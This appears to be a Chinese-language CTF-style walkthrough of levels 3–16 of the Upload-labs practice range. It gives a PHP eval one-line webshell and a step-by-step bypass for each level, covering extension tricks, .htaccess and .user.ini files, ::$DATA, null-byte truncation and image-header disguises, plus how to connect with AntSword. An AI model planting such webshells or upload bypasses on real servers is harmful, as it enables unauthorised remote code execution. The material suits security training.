1.unload通关
1.pass-3
打开小皮复制upload地址
使用内嵌浏览器打开
查看源码发现php无法使用,我们先创建一句话木马<?php @eval($_POST['a']);?>文件
使用BP抓包将文件后缀名改为.php3放行后发现上传成功

新标签页打开复制地址后蚁剑打开,上传成功

2.pass-04
查看源码发现前面的方式都无法使用
我们使用一种新的方式.htaccess文件,AddType application/x-httpd-php .txt .jpg
上传这个文件后上传一句话木马并用BP抓包,后缀改为txt

同理上传成功

3.pass-05
这一关禁用.htaccess文件,我们写一个.user.ini文件
auto_prepend_file=1.txt\n

上传成功后写个1.txt文件上传但注意蚁剑改为php
4.pass-06
查看源码发现,这道题没有限制大小写
我们使用bp抓包,修改php大小写Php

如图连接成功

5.pass-07
我们发现这一关和前面相比少了首尾去空
我们使用bp抓包

在后缀名加入空格,发现上传成功


6.pass-08
这道题没有.的限制
我们bp抓包后后缀名加点即可成功

7.pass-09

这关没有::$DATA的限制
BP抓包后后缀加入::$DATA

上传成功后蚁剑删除后缀即可上传成功
8.pass-10
我们这关改为shell.php为
shell.php. .使后缀解析只有一个点

然后蚁剑上传
9.pass-11
这道题会删除后缀php
我们只需要抓包后双写php即可


10.pass-12
木马换成jpg后缀
这道题借助%00便可上传成功


11.pass-13
抓包将后缀名改为png
save_path值改为shell.php空格后将其Hex改为00


蚁剑链接后成功
12.pass-14
将木马文件开头改为FF D8
用010Editor打开木马文件
view -- Edit As -- Hex用16进制打开
上传蚁剑后成功


13.pass-15
利用010Editor打开将木马写在最后

重复操作上一关即可成功
14.pass-16
首先使用php的exif扩展


将上一关改好的shell.php上传
使用蚁剑连接

Upload靶场3-16关通关详解
1212

被折叠的 条评论
为什么被折叠?



